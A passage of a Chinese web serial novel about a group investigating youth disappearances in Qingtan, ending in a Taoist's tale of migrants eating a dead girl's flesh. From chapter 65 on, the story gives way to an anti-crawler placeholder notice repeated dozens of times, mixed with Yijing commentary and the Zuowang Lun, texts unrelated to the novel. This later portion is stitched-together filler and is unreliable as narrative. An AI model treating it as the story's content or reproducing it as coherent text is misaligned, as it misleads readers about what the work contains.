马西梅皱着眉头,目光看向不远处的石碑,“你是说,你朋友是被抓到水青路,然后失踪了……水青都是一些老式居民楼,住的也都是以前纺织厂的旧员工,十几年前大批大批的人下岗后,这里也就成了青檀最落后的地区之一,要说有什么出名的,除了动物园我还真想不出第二个。” 林萤道:“我们也是这样想的,所以才乘着夜晚来动物园看看,没想到朋友没找到,倒是找到了一块石碑,还一不小心给你添了很多麻烦。” 此时,原初已经将地面打扫的干干净净,没了蚕沙似的鼠妇,昨晚的石碑和地面裂开的洞清清楚楚展现在了众人面前。 马西梅摆了摆手,“说什么麻烦不麻烦的,你们是小浩的朋友,能帮到你们姑也很开心!而且最近啊,青檀失踪的人可太多了,我有一个老姐妹的娃就不见了,她娃特漂亮,还是省舞蹈队的……要不吴敏那么着急想给她娃弄一颗灵珠,连我们势力都背叛了,就是怕她娃也莫名其妙失踪……” 马西梅说着,打开朋友圈给林萤看她姐妹的孩子,那是个穿着练功服的女孩,丸子头瓜子脸,清水芙蓉面,身段窈窕气质上佳,的的确确非常漂亮。 林萤心下惋惜,乘着这个空档,又不经意间向马西梅说起自己刚才在路上看到好多寻人启示,她询问马西梅她们夜间巡逻是不是就是因为这件事。 马西梅没有说是,也没有说不是,反倒是看了旁边的小雨一眼,随后长长地叹了一口气。 据二人说,失踪的事情不是最近才发生的,暗星刚刚降临,青檀就发生了一起失踪事件。 63. 尸体上的因果味 那是一个在外地上学的男大学生,暗星事件后,好不容易搞到一张回青檀的车票,便立即踏上了列车。男孩的父母一直在守在出站口,从列车进站到列车驶走,却始终等不到来人。于是,他们找了火车站的工作人员,查看了监控,发现孩子确实已经下了火车,他背着电脑包,拉着行李箱,最后消失地点是火车站的洗手间。 众人慌忙去寻找,将洗手间里的隔门全部打开,连一旁的女厕都去查看了一番,可男孩就像凭空蒸发了一般,消失得无影无踪。 男孩手里的行李箱一直放在洗手间的拐角,电脑包挂在行李箱的拖杆上,手机也装在电脑包背面的夹层里,就好像主人只是暂时离开几分钟而已。 男孩的失踪没有溅起太多的水花,却像一个引子,自这以后,失踪事件频频发生,而且失踪的大多数是年轻的小姑娘和小伙子。 “对,这事我也知道,我有个好哥们是辅警,之前他就说他们也在抓嫌疑犯,还让我小心点,别老是一个人往外跑,就算要出去,也得随时跟家人保持联系。”小雨突然插话,见林萤看过来,他继续道:“但是自从人们开始进化后,案件就搁置下来了,加上青檀又乱,自己都顾不上自己,谁还管别人家的事。” 林萤问:“从暗星降临到现在已经将近4个月,你朋友他们查到什么线索了吗?” 小雨道:“这我倒是没细问,他说的也不多,但是大家都有一个共识——这绝对不是单人作案,而是团队犯罪,不然不可能短时间内将那么大的人变没了,你说对吧?” 马浩哲道:“这还用说?我用脚想都知道是团伙犯罪。” 小雨一脸佩服,“要不说你能考上大学呢,你的脚都那么聪明!” “呃……”马浩哲噎了一下,他第一反应是小雨在阴阳怪气,但是当他看向小雨的脸时,却又拿不准了,对方看向他的眼神十分炽热,满脸写着“真诚”二字,显然是把他当偶像来崇拜的。 马浩哲喃喃道:“其实,其实也没那么厉害……” 原初道:“其实只要弄清楚两点就行:第一点是为什么失踪的人明明去的是有监控的公共区域甚至是封闭场合,却会像人间蒸发一样,连根发丝都找不到;第二点是失踪的人有什么共同点,比如说大多数为年轻人,那么对方为什么需要年轻人。只要清楚这两点,我想应该大概能确定可疑团伙的作案方式和目的。” 小雨道:“我倒是听说最近有人说抓年轻人配器官的,你们也听说过吧!” 马西梅不屑道:“那得配多少人!你想想看,最近光咱们身边就几家小孩不见了,我听说的至少有五家,总不至于都是被抓去配器官的。” 马浩哲附和道:“对啊,不是说第一起是三个月前发生的嘛,这都多久了还有人不断失踪,应该不是这件事。” 小雨歪着头想了想,固执己见道:“那倒也说不准,我朋友说这个可能性还挺大的……” 马浩哲道:“重点是那么大的人怎么会突然消失,总不至于是被切成块块,就算是切成块,那也有毛发啊血迹啊啥的……”说到这里,马浩哲突然住嘴,而后瞪着眼睛看向林萤,下巴开始打颤,他结结巴巴地问道:“林萤,你,你还记得昨天晚上那个模特不,那个模特身体里不就是,不就是……” 林萤点了点头,她自然记得昨晚从那模特腹部倒出来的黏唧唧软趴趴的肉块。 见众人兴致高,林萤道:“另外,还有几件事,我也想打听打听……” 首先就是“EVN”这个组织。马西梅并没有听说过,但她隐约记得有一年的植树节,青檀来了许多洋面孔。那时候她年纪还小没见过外国人,所以很好奇,从一条条柱子似的人腿中间挤过去,来到最前方,这才发现这个“许多”其实有些夸张了,充其量,就只有两个洋人,白皮肤黄头发,被一群人簇拥在中间,像被围观的大猩猩。 “印象中那两个人只待了不到一会儿就走了,我虽然也觉得看洋人很有意思,但是对旁边的爆米花更感兴趣,所以也没待多久……” 时日久远,再多的马西梅也不记得了,但林萤敏锐地捕捉到了“植树节”,联系到石碑上的碑文和泥土里的徽章,想来这几者之间有诸多联系。 随后,林萤问起了吴阿姨口中的羊角少女,她在初次听到这件事的时候,差点以为车里的女孩是被绑架的杜煦,然而女孩头上的双角却让她打消了自己的想法,只是,吴阿姨的样子不似说谎,加之玩具里那张奇怪的纸条,林萤不由得将这件事放在了心上。 马西梅却是疑惑地摇了摇头,她说自己从来没有见过什么羊角女孩,也没有听同伴们说过。 “不过,说到羊角,我倒是记得十几年前我们这里有个马戏团,团里有个男孩长了一对羊角,别人都说他是人和羊生的,你知道越是猎奇大家越爱听,传言也就越离谱,还有人说那是他们家缺德才生了个怪胎。但我听说那角是他还是孩子的时候被硬生生安上去的,真真假假谁都说不清楚,但那孩子确实是马戏团的门面,不少人都是冲着他才去看的。” 林萤问:“那个马戏团还在吗?” 马西梅双手一拍,“嗨,早解散了,我都十来年没见过什么马戏团了!那个吴敏啊,估计她就是说说吓唬你们,想让你们赶紧来找我。” 林萤想了想,又将出门时吴听塞给自己的纸条拿出来给马西梅看。 “‘青檀老街’——说的不就是外面那条街吗?‘章鱼人’……”马西梅嘟囔两句,而后道:“说一句藏两句,有啥事直说得了非得这样,故弄玄虚……你别管她!吴敏的事有我在!” 马西梅一锤定音,显然不想在这种事情上费太多口舌。 林萤思索片刻,而后又问起了吴听。 “吴听啊,那小姑娘特别腼腆,她妈妈,也就是你吴阿姨,她和吴听的爸爸离婚早,一手把吴听带大,中间的苦和累不用我说。吴听他爸离婚第二年就结婚了,还生了个孩子,你吴阿姨是个要强的,她一直不服气, 所以处处都要让吴听做到最好,吴听小的时候很听话,长大后有了自己的主意,母女间矛盾就出来了,吴敏经常在我耳边叨叨女儿叛逆……” 马西梅滔滔不绝,刚说到激动处,一阵车铃声响起,就见不远处阿曹蹬着一辆小小的三轮车,车厢里是铲子绳索一类的工具,车后面还跟着一个穿着太极装的男人。 马浩哲小声问道:“姑,那个装模作样的男人是谁?” 马西梅眯着眼打量,“欸?我怎么看着那么像青牛观的老刘呢?” 说话间,三轮车开了过来,阿曹停下车,小雨走过去展开大臂,将这些杂七杂八的工具通通抱到刚刚收拾干净的地面上。 林萤仔细瞧去,就见那太极装莫约五十来岁,肤色黝黑,络腮胡花白,额间的纹路刀刻一般深,却有着无比锐利的眼神。他的胸前挂着一个婴儿拳头大小的籽料和田玉,玉色莹润,玉身饱满,用一根棕色的编绳拴着,一看就知价格不菲。 阿曹道:“刘先生听说下面有口棺材,想过来看一眼。” 马西梅简单向他们打了个招呼,背过身去却轻叱一声,“神棍!” 眼见马西梅似乎和那刘先生不对付,林萤轻声问了问缘由,马西梅道:“你当他是谁,他也姓刘,跟那一善门刘三针还是兄弟呢!” 林萤露出了惊讶的表情,马西梅又低声道:“以前刘三针治不好病就让我们去青牛观请符,一来二去我们就知道了他两的关系,只是这神棍对介绍过去的病人没个好眼色,让我们有病就去医院,别来消遣他!大家都说他们兄弟之间似乎不对付,但人家毕竟打断骨头连着筋,一家人!谁知道他跟刘三针私下啥样,你说对不?” 原来还有这层关系! 林萤的目光投向面前那个男人,不由地多了几分审视。 被唤作神棍的男人向前走了几步,轻轻嗅了嗅,而后掩鼻直呼道:“我滴妈呀!这个臭味可太正宗了!” 马浩哲屁颠屁颠跑过去询问,“老先生,臭就臭,怎么还分什么正宗不正宗?” 刘先生白了他一眼,“老?你睁大眼睛看看我那里老,我明明年轻滴很!” 马浩哲拉上嘴巴,不再说话,那刘先生继续说:“正宗的意思是,这个味道就是很正宗的尸臭味!穿透力一流、复杂度一流、恶心度一流……这种臭,只有尸臭有!” 一旁的阿曹道:“刘先生说的对,我们刚刚才把这边的动物尸体清理完,有尸臭是正常的。” 刘先生摆摆手,指着不远处的洞道:“不,不是,动物的味道虽然臭,但也没有那个洞里臭,那个洞里的是人尸,人尸的臭和动物尸体的臭还是有区别的。” 林萤问:“请问有什么区别?” 刘先生说:“简单来说动物的有一股畜生味,沾上了洗一洗就能消除。” “人的呢?” 刘先生摸着短短的胡须,“人的身上有一股因果味,若是粘上个一星半点,怕是三光神水也难洗净……” 64. 夜半笑声 马浩哲小小地“切~~~”了一声,而后捂着嘴巴小声对林萤道:“故弄玄虚……” 有其姑必有其侄,两个反封建战士。 小雨却扬起秀气的脸问道:“刘先生,什么是‘三光神水’?” 不待刘先生回答,马浩哲便道:“你怎么连这都不知道?《封神演义》看过没?元始天尊八宝琉璃瓶里的,传说中能解毒、愈伤、甚至复活死人的神水!” 小雨看向马浩哲,目光中充满了钦佩,“没想到你懂这么多,不愧是大学生,真厉害!” “呃……”马浩哲没有想到对方会夸他,态度还如此真诚,他“呃”了半晌,最终挠挠头,不自然地将目光投向远处。 林萤将他往后拉了拉,与原初站到一起。 这时,就见小雨正按照刘先生的吩咐用铲子将圆洞附近地面上的水泥撬开,顿时,缝隙里的鼠妇全钻了出来,惊得众人纷纷往高处跑。 待那鼠妇跑个一干二净,小雨又按照吩咐下去将那原本仅能容纳一人的小洞挖开,直至挖到林萤所说的那个墓室,小雨才停了下来。 此时天光正亮,太阳将黑魆魆的洞内也照了个透亮。木棺、怪茧一切如昨,只是令林萤感到意外的是那些个头超级大的鼠妇却不见了踪影。 难道是昨晚乘着天黑全跑了? 刘先生站在已经变成一个大坑的鳄鱼池边上,向下看了一眼,便再也移不开。 阿曹问道:“刘先生,有什么问题吗?” 刘先生没有说话,却是拿出兜里的手机,拉近镜头,连拍数十张坑底的画面。小雨见状捂着鼻子走到他的身边,询问需不需要下去把那口奇怪的棺材搬上来。 刘先生摇摇头,收起手机,“不着急,先散散味!” 说着他便走向马西梅刚才坐的台阶边上,一边查看手机里的照片一边赞叹,连连说就是它就是它,找了这么多年的东西可算是找到了! 阿曹和马西梅一左一右凑到刘先生的身边去看照片,马浩哲和原初则是来到了大坑边上向里看,他们只从林萤口中了解过下面的情况,却从来没有亲眼看过,说不好奇是假的。 马浩哲看了一眼,下面灰秃秃全是泥巴,混合着看不清图案的霉味棺木,都与盗墓中描写的神秘恢弘的地下宝藏有着天壤之别,他难免有些失望。 马浩哲叹了口气,“还以为是个啥呢,就这……” 不远处的刘先生听到他这声叹息,却突然将手机收了起来,对马浩哲道:“小子,你可别小瞧了这墓,它跟那些葬人的墓可不一样,它主要是为了把里面的人封起来的。” 马浩哲来了兴趣,“为什么要封起来,是怕里面的死尸变成僵尸出来害人吗?” 刘先生摇摇头,站起身走过来敲了敲马浩哲的头,“还是读过大学的人,怎么就这么迷信呢?” “不是你说的要把里面的人封起来吗?” “是,是我说的,但是真实情况不是你想的那样……”说到这里,刘先生拿起一根烟,点燃夹在了手指间,却并不抽,只任由那股青烟飘向空中。 随着青烟升起,刘先生的话将众人拉回了几十年前。 那时候从西面来了一群操着外地口音的外乡人,据说他们是逃难来的,当时水青路正好在建设,需要不少劳力,那些人便住了下来。虽说来到了水青,这帮人却并不融入当地,固守在一起,非常团结,就连婚姻也只是内部通婚,从不嫁娶外人。 “我爷爷当年开了一家棺材铺,那些人就住在铺子的隔壁,他们百来人常年一个大通铺,夜里也不点灯,悄无声息的。我爷爷对他们非常好奇,但是寻不到机会,直到有一天……” 刘先生的爷爷名叫刘赞,因为卖棺材喜提别名“刘寿材”,他当时三十来岁,年富力强,打的棺材都比其他家结实。 这天刘寿材刚送完货回到铺子里,就听一向安安静静的隔壁变得无比喧闹,他轻车熟路,踩在墙边堆放的木头上朝墙的那边看去。 原本不算宽敞的小院子里站满了人,将院子种的菜踩得七扭八歪,支撑豆角的架子也散了开来,人中间还有一个木板车,车板上躺着一个用红布盖着的人,那人的半张脸和半条腿露在外面,裤子上的补丁一层盖着一层。 刘寿材认得她,那是个年轻的姑娘,由于常年营养不良,又瘦又小,人黄的跟得了黄疸病似得,远远看去像极了黄豆芽。她害羞又面善,外出的时候常常跟刘寿材打照面,却总是捂着脸飞速从他身边走过,仿佛多看一眼便要蒸发掉。 刘寿材仔细望去,就见那姑娘一动不动,似乎是睡着了,而那垂在车板边上的红布却有一角是白的,此时,那白色的三角区域像泡进了红墨水一样在慢慢变红。刘寿材心里一紧,惊觉姑娘盖的根本不是红布,而是一张白色的布,只因她流血太多,所以把白布浸成了红色。意识到这点,刘寿材重新将目光移到了姑娘的面上,这一眼,他看到了死气。 ——那姑娘死了! 昨天还好端端的人,怎么会死了呢? 刘寿材也管不了那么多,直接从木堆上下来,走正门来到隔壁,就见这边的门敞开着,里面不仅有大批的外乡人,还有水青本地的人。 刘寿材在人群中看到一个熟面孔,他挤到对方身边,递过一支烟,“蒋主任,这是出什么事了?” 穿着黑布衣的蒋主任接过刘寿材的烟,看了看烟管,别在耳后,腾出一只手在自己肚子上比划,“别提了,不小心出人命了!也是那女娃子粗心,没看准脚下,从脚手架上掉下来直接砸在了钢筋上,噗呲——从这里,捅了个对穿……” 刘寿材道:“工地上总有意外。” 对方道:“是啊,意外,谁都不想的嘛,这不,正过来谈赔偿呢!” 刘寿材将事情原委弄了个七七八八,也没兴 致再待下去,他回到店铺里继续干活,刨木、上漆,隔壁不时传来交谈声,他充耳不闻。直到天色渐黑,他才停下手中的活计,而隔壁此时也已经安静下来。 正在这时,寂静的院子里突然传来“叩叩”的扣门声,刘寿材过去打开门,就见门口是一个瘦高个的男人,刘寿材认出来这是隔壁的外乡人。 外乡人有着一张蜡黄的长脸,他局促地搓搓手,问刘寿材有没有那种便宜一点的棺材。刘寿材将他领到屋里,点起煤油灯,指着一口明显小了半圈的棺材问道:“老哥你看看,这个行不?原本是隔壁街道老许家给重病的孩子定的,用的全是上好的料子,金漆针刻、髹漆彩绘、我可是费了好一番功夫,但没想到刚弄好那孩子就缓过来了……现下在我这已经放了快两年,像个摆设一样,我也不问你多要,就收个木材钱,你看咋样?” 商议好后,外乡人正准备走,刘寿材又拦住他问还需不需要什么香蜡纸表,他有个兄弟在做这方面的买卖,一起买能优惠些。外乡人低着头拒绝了他,说按照自己家乡的风俗用不着这些。 有道是“三里不同风十里不同俗”,刘寿材便不再强求。 到了夜里,刘寿材半梦半醒间突然听到一阵诡异的笑声,他摸黑起身,将求来的护身符捏在手上,循着声音来到了墙边。笑的不是什么山精鬼魅,笑的是隔壁的外乡人们。刘寿材听到这些笑声有男有女,有老有少,似乎是很开心。 这帮狗日的!刚死了个同伴,拿到了偿命钱,甚至连棺材都舍不得给选个合身的,就迫不及待想要庆祝一番!笑,还在死人面前笑!刘寿材心里暗骂着,三下五除二,又扒在了墙头上。 借着月光,他看到了一幅终生难忘的画面。 只见院子中央铺着一块木板,木板上是去世的姑娘,她身上那层破破烂烂的衣服早已被脱下,黄橙橙的皮肤像是熟透了的橘子,却在正中间有一个碗底大的豁口,像是发黑的果蒂,应了那句“赤条条来,赤条条去”,刘寿材只看了一眼边赶紧将视线挪开,直呼罪过罪过。 姑娘的脚边放着一个陈旧的桶,桶里的水映着天上的圆月,又被旁的一个头发花白的老妪搅散。老妪一手拿着一个麦秆扎成的刷子,另外一只手拿着一把闪着寒光的刀子,她将刷子在水里浸泡后,缓慢地擦拭着刀子,正面三下反面三下,而后将刀尖对准木板上的“橘子”,狠狠地切了下去。 刘寿材本来就是做死人生意的,自诩见过不少奇闻怪事,却还是被惊得紧紧捂住了自己的嘴巴,就连一向宝贝的护身符也没抓牢,顺着木头缝掉了下去。 那些外乡人排成一行长着队,每个人都端着一个碗,像过奈何桥的恶鬼,而那个老妪就像是“孟婆”,将橘子一块一块分给排队的鬼魂,那些鬼魂看到碗里的东西,兴奋地发出狞笑声,而后便迫不及待地将“橘子”塞进嘴里。 一阵阵咀嚼声钻进刘寿材的耳孔里。 65. 神秘的外乡人 防盗章节 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 天尊地卑,乾坤定矣。卑高以陈,贵贱位矣。动静有常,刚柔断矣。方以类聚,物以群分,吉凶生矣。在天成象,在地成形,变化见矣。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 是故刚柔相摩,八卦相荡,鼓之以雷霆,润之以风雨;日月运行,一寒一暑。乾道成男,坤道成女。乾知大始,坤作成物。乾以易知,坤以简能;易则易知,简则易从;易知则有亲,易从则有功;有亲则可久,有功则可大;可久则贤人之德,可大则贤人之业。易简而天下之理得矣。天下之理得,而成位乎其中矣。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 圣人设卦观象,系辞焉而明吉凶,刚柔相推而生变化。是故吉凶者,失得之象也;悔吝者,忧虞之象也;变化者,进退之象也;刚柔者,昼夜之象也;六爻之动,三极之道也。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 彖者,言乎象者也;爻者,言乎变者也;吉凶者,言乎其失得也;悔吝者,言乎其小疵也;无咎者,善补过也。是故列贵贱者存乎位,齐小大者存乎卦,辨吉凶者存乎辞,忧悔吝者存乎介,震无咎者存乎悔。是故卦有小大,辞有险易。辞也者,各指其所之。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 一阴一阳之谓道。 继之者善也,成之者性也。仁者见之谓之仁,知者见之谓之知,百姓日用而不知,故君子之道鲜矣。 显诸仁,藏诸用,鼓万物而不与圣人同忧,盛德大业至矣哉! 富有之谓大业,日新之谓盛德。生生之谓易,成象之谓乾,效法之谓坤,极数知来之谓占,通变之谓事,阴阳不测之谓神。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 夫《易》广矣大矣,以言乎远则不御,以言乎迩则静而正,以言乎天地之间则备矣。 夫乾,其静也专,其动也直,是以大生焉。 夫坤,其静也翕(xī),其动也辟,是以广生焉。 广大配天地,变通配四时,阴阳之义配日月,易简之善配至德。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 天尊地卑,乾坤定矣。卑高以陈,贵贱位矣。动静有常,刚柔断矣。方以类聚,物以群分,吉凶生矣。在天成象,在地成形,变化见矣。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 是故刚柔相摩,八卦相荡,鼓之以雷霆,润之以风雨;日月运行,一寒一暑。乾道成男,坤道成女。乾知大始,坤作成物。乾以易知,坤以简能;易则易知,简则易从;易知则有亲,易从则有功;有亲则可久,有功则可大;可久则贤人之德,可大则贤人之业。易简而天下之理得矣。天下之理得,而成位乎其中矣。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 圣人设卦观象,系辞焉而明吉凶,刚柔相推而生变化。是故吉凶者,失得之象也;悔吝者,忧虞之象也;变化者,进退之象也;刚柔者,昼夜之象也;六爻之动,三极之道也。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 彖者,言乎象者也;爻者,言乎变者也;吉凶者,言乎其失得也;悔吝者,言乎其小疵也;无咎者,善补过也。是故列贵贱者存乎位,齐小大者存乎卦,辨吉凶者存乎辞,忧悔吝者存乎介,震无咎者存乎悔。是故卦有小大,辞有险易。辞也者,各指其所之。 这是一个防爬虫章节,正文将在 爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 一阴一阳之谓道。 继之者善也,成之者性也。仁者见之谓之仁,知者见之谓之知,百姓日用而不知,故君子之道鲜矣。 显诸仁,藏诸用,鼓万物而不与圣人同忧,盛德大业至矣哉! 富有之谓大业,日新之谓盛德。生生之谓易,成象之谓乾,效法之谓坤,极数知来之谓占,通变之谓事,阴阳不测之谓神。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 圣人有以见天下之赜(zé),而拟诸其形容,象其物宜,是故谓之象。 圣人有以见天下之动,而观其会通,以行其典礼,系辞焉以断其吉凶,是故谓之爻。 言天下之至赜而不可恶也,言天下之至动而不可乱也。拟之而后言,议之而后动,拟议以成其变化。 「鸣鹤在阴,其子和之。我有好爵,吾与尔靡之。」子曰:「君子居其室,出其言善,则千里之外应之,况其迩者乎?居其室,出其言不善,则千里之外违之,况其迩者乎?言出乎身,加乎民;行发乎迩,见乎远。言行,君子之枢机。枢机之发,荣辱之主也。言行,君子之所以动天地也,可不慎乎!」 「同人,先号啕而后笑。」子曰:「君子之道,或出或处,或默或语。二人同心,其利断金。同心之言,其臭如兰。」 「初六,藉用白茅,无咎。」子曰:「苟错诸地而可矣,藉之用茅,何咎之有?慎之至也。夫茅之为物薄,而用可重也。慎斯术也以往,其无所失矣。」 「劳谦,君子有终,吉。」子曰:「劳而不伐,有功而不德,厚之至也。语以其功下人者也。德言盛,礼言恭。谦也者,致恭以存其位者也。」 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 夫《易》广矣大矣,以言乎远则不御,以言乎迩则静而正,以言乎天地之间则备矣。 夫乾,其静也专,其动也直,是以大生焉。 夫坤,其静也翕(xī),其动也辟,是以广生焉。 广大配天地,变通配四时,阴阳之义配日月,易简之善配至德。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 66. 重生?腐生! 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 坐忘论序 天地分判,三才定位,人处天地之中,五气合身,故能长且久。后人自昧其性,自役其神,自挠其气,自耗其精,所以不能与天地合。逆取短折而甘心焉,每切痛之。《易》曰:穷理尽性以至於命。《老子》曰:虚其心,实其腹。又曰:常无欲以观其妙。《论语》曰:子绝四,毋意,毋必,毋固,毋我。《孟子》曰性善。又曰:我善养吾浩然之气。皆著性命之要端也。仆因阅藏书,得唐贞一先生《坐忘论》七篇,附以枢翼。识见不凡,明指大道,先导人以敬信,使心不狂惑。次则令断其缘业,收心简事,体寂内明。故又次之以真观,中外无有,然后可以跻於泰定,气泰神定,故曰得道。前悉序坐忘之阶渐,其坐忘总说,不过无物无我,一念不生。如《敬信篇》直言内不觉其一身,外不知其宇宙,与道冥一,万虑皆遣。伦类经言无少差,苟造坐忘之妙,神气自然相守,百脉滋润,三关流畅,天阳真气来居身中。此乃长生久视不传之道,古今尊尚。神仙悯世,不得已而语,学者当静虑研思,勤而行之,勿视为古人糟粕,而徒取自弃之讥者也。峕丁未重阳,锓木以广其书,真静居士谨序。 坐忘论司马承祯子微撰 夫人之所贵者生,生之所贵者道。人之有道,若鱼之有水。涸辙之鱼犹希斗水。弱丧之俗无情造道,恶生死之苦,乐生死之业,重道德之名,轻道德之行。审惟倒置,何甚如之。穷而思通,迷而思复,寸阴如璧,愧叹交深,是以恭寻经旨而与心法相应者,略成七条,以为修道阶次。枢翼附焉。 敬信一 夫信者道之根,敬者德之蒂,根深则道可长,蒂固则德可茂。然则璧耀连城之彩,卞和致刖。言开保国之效,伍子从诛。斯乃形器著而心绪迷,理事萌而情思忽。况至道超於色味,真性隔於可欲,而能闻希微以悬信,听罔象而不惑者哉。如人闻坐忘之言,信是修道之要,敬仰尊重,决定无疑者,加之勤行,得道必矣。故《庄》云:隳支体,黜聪明,离形去智,同於大通,是谓坐忘。夫坐忘者,何所不忘哉。内不觉其一身,外不知乎宇宙,与道冥一,万虑皆遗。《庄》云同於大通,此则言浅而意深。惑者闻而不信,怀宝求宝,其如之何。经云:信不足焉,有不信。谓信道之心不足,乃有不信之祸及之,何道之可望乎。 断缘二 断缘者,断有为俗事之缘也。弃事则形不劳,无为则心自安,恬简日就,尘累日薄,迹弥远俗,心弥近道,至圣至神,孰不由此乎。经云:塞其兑,闭其门,终身不勤。或显德露能,求人保己,或遗问庆吊,以事往还,或假隐逸,情希升进,或酒食邀致,以望后恩。斯乃巧蕴机心,以干时利,既非顺道,深妨正业。凡此类例,皆应绝之。经云:开其兑,济其事,终身不救。我但不唱,彼自不和,彼虽有唱,我不和之。旧缘渐断,新缘莫结,体交势合,自致日疏,无事安闲,方可修道。《庄》云:不将不迎,无为交俗之情。又云:无为谋府,无为事任,无为知主。若事有不可废者,不得已而行之,勿遂生爱,系心为业。 收心三 夫心者一身之主,百神之帅,静则生慧,动则成昏。欣迷幻境之中,唯言实是,甘宴有为之内,谁悟虚非,心识颠痴,良由所托之地。且卜邻而居,犹从改操,择交而友,尚能致益,配身离生死之境,心居至道之中,能不舍彼乎,安不得此乎。所以学道之初,要须安坐,收心离境,住无所有。因住无所有,不著一物,自入虚无,心乃合道。经云:至道之中,寂无所有,神用无方,心体亦然。原其心体,以道为本,但为心神被染,蒙蔽渐深,流浪日久,遂与道隔。若净除心垢,开识神本,名曰修道。无复流浪,与道冥合,安在道中,名曰归根。守根不离,名曰静定。静定日久,病消命复,复而又续,自得知常。知则无所不明,常则无所变灭,出离生死,实由於此。是故法道安心,贵无所著。经云:夫物芸芸,各归其根,归根曰静,静曰复命,复命曰常,知常曰明。若执心住空,还是有所,非谓无所,凡住有所,则令心劳,既不合理,又反成病1。但心不著物,又得不动,此是真定。正基用此为定,心气调和,久益轻爽,以此为验,则邪正可知矣。若心起皆灭,不简是非,则永断觉知,入於盲定。若任心所起,一无收制,则与凡夫元来不别。若唯断善恶,心无指归,肆意浮游,待自定者,徒自误尔。若偏行诸事,言心无所染者,於言甚善,於行极2非,真学之流,特宜诫此。今则息乱而不灭照,守静而不著空,行之有常,自得真见。如有时事或法要有疑者,且任思量,令事得济,所疑复悟,此亦生慧正根。悟已则止,必莫有思,思则以智害恬,为子伤本。虽骋一时之俊,终亏万代之业。若烦邪乱想,随觉则除,若闻毁誉之名,善恶等事,皆即拨去,莫将心受。受之则心满,心满则道无所居。所有闻见,如不闻见,即是非善恶不入於心。心不受外名曰虚心,心不逐外名曰安心,心安而虚,道自来居。经云:人能虚心无为,非欲於道,道自归之。内心既无所著,外行亦无所为,非净非秽,故毁誉无从生,非智非愚,故利害无由挠。实则顺中为常,权则与时消息,苟免诸累,是其智也。若非时非事,役思强为者,自云不著,终非真学。何耶?心 法如眼也,纤毫入眼,跟则不安,小事关心,心必动乱,既有动病,难入定门。是故修道之要,急在除病,病若不除,终难得定。有如良田,荆棘未诛,虽下种子,嘉苗不茂。爱见思虑,是心荆棘,若不除剪,定慧不生。或身居富贵,或学备经史,言则慈俭,行则贪残,辩足以饰非,势足以威物,得则名己,过则尤人,此病最深,虽学无益。所以然者,为自是故。然此心犹来依境,未惯独立,乍无所托,难以自安,纵得暂安,还复散乱。随起随制,务令不动,久久调熟,自得安闲。无问昼夜,行住坐卧,及应事之时,常须作意安之。若心得定,即须安养,莫有恼触,少得定分,即堪自乐,渐渐驯狎,惟益清远。平生所爱3,已嫌蔽陋,况因定生慧,深达真假乎。且牛马家畜也,放纵不收,犹自生梗,不受驾驭。鹰鹯野鸟也,为人羁绊,终日在手,自然调熟。况心之放逸,纵任不收,唯益粗疏,何能观妙。经云:虽有拱璧,以先驷马,不如坐进此道。夫法之妙用也,其在能行,不在能言,行之则斯言为当,不行则斯言如妄。又时人所学,贵难而贱易,若论法要,广说虚无,思虑所莫能达,行用所莫能阶者,